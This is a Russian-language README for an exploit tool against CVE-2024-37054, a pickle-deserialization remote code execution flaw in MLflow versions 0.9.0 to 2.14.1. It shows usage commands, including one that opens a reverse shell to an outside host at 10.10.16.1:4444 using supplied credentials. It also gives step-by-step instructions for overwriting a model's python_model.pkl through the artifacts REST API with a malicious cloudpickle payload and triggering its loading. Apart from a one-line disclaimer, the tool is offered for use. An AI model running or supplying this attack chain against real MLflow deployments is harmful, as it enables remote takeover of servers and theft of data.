CVE-2024-37054 — RCE через десериализацию pyfunc в MLflow

Серьезность: Критический
Затронуто: MLflow 0.9.0 – 2.14.1
Тип: Выполнение произвольного кода через десериализацию pickle в Python

Описание

mlflow.pyfunc.load_model() десериализует python_model.pkl из хранилища артефактов без какой-либо санитизации. Атакующий, имеющий доступ к REST API артефактов MLflow, может перезаписать этот файл вредоносным pickle-объектом, что приведет к выполнению произвольных команд ОС при следующей загрузке модели.

Требования

pip install requests cloudpickle

Использование

# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  list

# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  revshell 10.10.16.1 4444

Ключевые опции

Как это работает

1. Обнаружение — запрос /api/2.0/mlflow/registered-models/search для поиска модели и её run_id / experiment_id
2. Отравление — PUT вредоносной полезной нагрузки cloudpickle по адресу /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl
3. Активация — любой код, вызывающий mlflow.pyfunc.load_model() для этой модели, десериализует полезную нагрузку и выполняет команду

Шаг активации требует конечной точки приложения, которая загружает модель. Если таковая неизвестна, используйте --no-trigger (или опустите --trigger-url) и активируйте загрузку любыми доступными средствами.

Отказ от ответственности

Только для авторизованного тестирования на проникновение и образовательных целей.